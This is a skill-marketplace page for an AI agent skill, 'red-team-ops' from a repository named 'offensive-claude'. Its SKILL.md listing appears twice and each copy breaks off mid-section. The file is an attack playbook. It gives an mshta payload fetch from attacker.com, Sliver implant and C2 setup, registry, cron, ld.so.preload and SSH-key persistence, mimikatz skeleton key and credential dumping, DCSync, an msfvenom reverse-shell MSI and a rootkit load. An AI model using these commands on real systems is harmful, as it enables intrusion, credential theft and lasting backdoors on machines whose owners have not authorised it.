red-team-ops

Name: red-team-ops
Author: hypnguyen1209

320stars55forks

How to install red-team-ops?

hypnguyen1209/offensive-claude/red-team-ops

$npx -y skills add hypnguyen1209/offensive-claude --skill red-team-ops

Installs into the current project.

Summary

Use when running a full red-team engagement end-to-end — initial access, persistence, privilege escalation, defense evasion, C2 infrastructure, EDR bypass, living-off-the-land

Files · 1

View on GitHub

SKILL.md

1	# Red Team Operations
2
3	## When to Activate
4
5	- Simulating advanced persistent threat (APT) operations
6	- Testing detection and response capabilities
7	- Establishing persistent access and C2
8	- Evading EDR/AV/SIEM detection
9	- Privilege escalation on compromised hosts
10	- Data exfiltration planning
11
12	## Initial Access
13
14	### Phishing Payloads
15	```bash
16	# Office macro (VBA)
17	# - AutoOpen/Document_Open trigger
18	# - Download cradle: PowerShell IEX or certutil
19	# - Sandbox evasion: check domain join, user interaction delay
20
21	# HTA (HTML Application)
22	mshta http://attacker.com/payload.hta
23
24	# ISO/IMG mounting (bypass MOTW)
25	# Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL
26
27	# OneNote (.one) with embedded scripts
28	# Drag-and-drop .bat/.hta behind fake "Double click to view" image
29
30	# DLL sideloading
31	# Find legitimate signed EXE that loads DLL from CWD
32	# Place malicious DLL alongside legitimate EXE in delivery package
33	```
34
35	### Delivery Mechanisms
36	```
37	# Smuggling past email gateways:
38	# - Password-protected ZIP (password in email body)
39	# - HTML smuggling (JS constructs blob → downloads file)
40	# - QR code to attacker-controlled site
41	# - Legitimate file-sharing (OneDrive, Google Drive links)
42	```
43
44	## Command & Control (C2)
45
46	### Infrastructure Setup
47	```bash
48	# Sliver C2
49	sliver-server
50	> generate --mtls attacker.com --os windows --arch amd64 --format exe --save implant.exe
51	> mtls --lhost 0.0.0.0 --lport 443
52	> https --lhost 0.0.0.0 --lport 8443 --domain legit-looking.com
53
54	# Domain fronting / CDN hiding
55	# Use high-reputation domains (cloudfront, azure CDN)
56	# C2 traffic appears as legitimate HTTPS to CDN
57
58	# Redirectors
59	# socat TCP-LISTEN:443,fork TCP:c2-server:443
60	# Apache mod_rewrite rules to filter blue team probes
61
62	# Malleable C2 profiles (Cobalt Strike)
63	# Mimic legitimate traffic patterns (Slack, Teams, O365)
64	```
65
66	### C2 Communication Patterns
67	```
68	# DNS over HTTPS (DoH) — blends with normal traffic
69	# Domain fronting — SNI vs Host header mismatch
70	# Named pipes — internal lateral movement without network traffic
71	# SMB beacons — blend with normal AD traffic
72	# Websockets — persistent connection through proxies
73	```
74
75	## Persistence
76
77	### Windows
78	```powershell
79	# Registry Run keys
80	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /d "C:\path\payload.exe"
81
82	# Scheduled Tasks
83	schtasks /create /tn "SystemUpdate" /tr "C:\path\payload.exe" /sc onlogon /ru SYSTEM
84
85	# WMI Event Subscription (fileless)
86	# __EventFilter + __EventConsumer + __FilterToConsumerBinding
87
88	# DLL Search Order Hijacking
89	# Place malicious DLL in application directory (loaded before System32)
90
91	# COM Object Hijacking
92	# Modify CLSID InprocServer32 to point to malicious DLL
93
94	# Golden Ticket (domain-level persistence)
95	# With krbtgt hash, generate tickets for any user indefinitely
96
97	# DSRM (Directory Services Restore Mode)
98	# Modify DSRM password → backdoor DC even if krbtgt rotated
99
100	# Skeleton Key (in-memory DC patch)
101	mimikatz "privilege::debug" "misc::skeleton"
102	# Any user can now auth with password "mimikatz"
103	```
104
105	### Linux
106	```bash
107	# SSH authorized_keys
108	echo "ssh-rsa AAAA... attacker" >> ~/.ssh/authorized_keys
109
110	# Cron job
111	echo "* * * * * /tmp/.backdoor" \| crontab -
112
113	# Systemd service
114	# /etc/systemd/system/update.service → ExecStart=/path/payload
115
116	# LD_PRELOAD
117	echo "/path/malicious.so" > /etc/ld.so.preload
118
119	# PAM backdoor
120	# Modify pam_unix.so to accept hardcoded password
121
122	# Kernel module (rootkit)
123	insmod rootkit.ko
124	```
125
126	## Privilege Escalation
127
128	### Windows
129	```powershell
130	# Token impersonation (SeImpersonatePrivilege)
131	# Potato family: JuicyPotato, PrintSpoofer, GodPotato, SweetPotato
132	PrintSpoofer.exe -i -c "cmd /c whoami"
133
134	# Unquoted service paths
135	wmic service get name,displayname,pathname,startmode \| findstr /i "auto" \| findstr /i /v "c:\windows"
136
137	# Weak service permissions
138	# sc qc ServiceName → check SERVICE_CHANGE_CONFIG
139	# Replace binary or modify binpath
140
141	# AlwaysInstallElevated
142	reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
143	msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi > shell.msi
144
145	# Credential harvesting
146	mimikatz "privilege::debug" "sekurlsa::logonpasswords"
147	mimikatz "lsadump::sam"
148	mimikatz "lsadump::dcsync /user:Administrator"
149	```
150
151	### Linux
152	```bash
153	# SUID binaries
154	find / -perm -4000 -type f 2>/dev/null
155	# GTFOBins for exploitation
156
157	# Sudo

People who liked this also viewed

6 picks

Type

entra-app-registrationGuides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API perSkillsJul 2026471k1.3k
azure-complianceRun Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: SkillsJul 2026470k1.3k
azure-rbacOfficial agent plugin providing skills and MCP server configurations for Azure scenarios.SkillsJul 2026466k1.3k
better-auth-best-practicesAgent skill from better-auth/skillsSkillsJul 202678k203
firebase-security-rules-auditorA skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.SkillsJul 202676k386
audit-websiteAudit a website with the squirrelscan CLI and fix the findings in code. Runs SEO, performance, security, technical, content, accessibility, and 15 other rule categories (260+ rules), returns an LLM-opSkillsJul 202665k85

red-team-ops

320stars55forks

View on GitHub

How to install red-team-ops?

hypnguyen1209/offensive-claude/red-team-ops

$npx -y skills add hypnguyen1209/offensive-claude --skill red-team-ops

Installs into the current project.

Summary

Use when running a full red-team engagement end-to-end — initial access, persistence, privilege escalation, defense evasion, C2 infrastructure, EDR bypass, living-off-the-land

Files · 1

View on GitHub

SKILL.md

1	# Red Team Operations
2
3	## When to Activate
4
5	- Simulating advanced persistent threat (APT) operations
6	- Testing detection and response capabilities
7	- Establishing persistent access and C2
8	- Evading EDR/AV/SIEM detection
9	- Privilege escalation on compromised hosts
10	- Data exfiltration planning
11
12	## Initial Access
13
14	### Phishing Payloads
15	```bash
16	# Office macro (VBA)
17	# - AutoOpen/Document_Open trigger
18	# - Download cradle: PowerShell IEX or certutil
19	# - Sandbox evasion: check domain join, user interaction delay
20
21	# HTA (HTML Application)
22	mshta http://attacker.com/payload.hta
23
24	# ISO/IMG mounting (bypass MOTW)
25	# Package LNK + DLL inside ISO → double-click mounts, LNK executes DLL
26
27	# OneNote (.one) with embedded scripts
28	# Drag-and-drop .bat/.hta behind fake "Double click to view" image
29
30	# DLL sideloading
31	# Find legitimate signed EXE that loads DLL from CWD
32	# Place malicious DLL alongside legitimate EXE in delivery package
33	```
34
35	### Delivery Mechanisms
36	```
37	# Smuggling past email gateways:
38	# - Password-protected ZIP (password in email body)
39	# - HTML smuggling (JS constructs blob → downloads file)
40	# - QR code to attacker-controlled site
41	# - Legitimate file-sharing (OneDrive, Google Drive links)
42	```
43
44	## Command & Control (C2)
45
46	### Infrastructure Setup
47	```bash
48	# Sliver C2
49	sliver-server
50	> generate --mtls attacker.com --os windows --arch amd64 --format exe --save implant.exe
51	> mtls --lhost 0.0.0.0 --lport 443
52	> https --lhost 0.0.0.0 --lport 8443 --domain legit-looking.com
53
54	# Domain fronting / CDN hiding
55	# Use high-reputation domains (cloudfront, azure CDN)
56	# C2 traffic appears as legitimate HTTPS to CDN
57
58	# Redirectors
59	# socat TCP-LISTEN:443,fork TCP:c2-server:443
60	# Apache mod_rewrite rules to filter blue team probes
61
62	# Malleable C2 profiles (Cobalt Strike)
63	# Mimic legitimate traffic patterns (Slack, Teams, O365)
64	```
65
66	### C2 Communication Patterns
67	```
68	# DNS over HTTPS (DoH) — blends with normal traffic
69	# Domain fronting — SNI vs Host header mismatch
70	# Named pipes — internal lateral movement without network traffic
71	# SMB beacons — blend with normal AD traffic
72	# Websockets — persistent connection through proxies
73	```
74
75	## Persistence
76
77	### Windows
78	```powershell
79	# Registry Run keys
80	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /d "C:\path\payload.exe"
81
82	# Scheduled Tasks
83	schtasks /create /tn "SystemUpdate" /tr "C:\path\payload.exe" /sc onlogon /ru SYSTEM
84
85	# WMI Event Subscription (fileless)
86	# __EventFilter + __EventConsumer + __FilterToConsumerBinding
87
88	# DLL Search Order Hijacking
89	# Place malicious DLL in application directory (loaded before System32)
90
91	# COM Object Hijacking
92	# Modify CLSID InprocServer32 to point to malicious DLL
93
94	# Golden Ticket (domain-level persistence)
95	# With krbtgt hash, generate tickets for any user indefinitely
96
97	# DSRM (Directory Services Restore Mode)
98	# Modify DSRM password → backdoor DC even if krbtgt rotated
99
100	# Skeleton Key (in-memory DC patch)
101	mimikatz "privilege::debug" "misc::skeleton"
102	# Any user can now auth with password "mimikatz"
103	```
104
105	### Linux
106	```bash
107	# SSH authorized_keys
108	echo "ssh-rsa AAAA... attacker" >> ~/.ssh/authorized_keys
109
110	# Cron job
111	echo "* * * * * /tmp/.backdoor" \| crontab -
112
113	# Systemd service
114	# /etc/systemd/system/update.service → ExecStart=/path/payload
115
116	# LD_PRELOAD
117	echo "/path/malicious.so" > /etc/ld.so.preload
118
119	# PAM backdoor
120	# Modify pam_unix.so to accept hardcoded password
121
122	# Kernel module (rootkit)
123	insmod rootkit.ko
124	```
125
126	## Privilege Escalation
127
128	### Windows
129	```powershell
130	# Token impersonation (SeImpersonatePrivilege)
131	# Potato family: JuicyPotato, PrintSpoofer, GodPotato, SweetPotato
132	PrintSpoofer.exe -i -c "cmd /c whoami"
133
134	# Unquoted service paths
135	wmic service get name,displayname,pathname,startmode \| findstr /i "auto" \| findstr /i /v "c:\windows"
136
137	# Weak service permissions
138	# sc qc ServiceName → check SERVICE_CHANGE_CONFIG
139	# Replace binary or modify binpath
140
141	# AlwaysInstallElevated
142	reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
143	msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f msi > shell.msi
144
145	# Credential harvesting
146	mimikatz "privilege::debug" "sekurlsa::logonpasswords"
147	mimikatz "lsadump::sam"
148	mimikatz "lsadump::dcsync /user:Administrator"
149	```
150
151	### Linux
152	```bash
153	# SUID binaries
154	find / -perm -4000 -type f 2>/dev/null
155	# GTFOBins for exploitation
156
157	# Sudo

People who liked this also viewed

6 picks

Type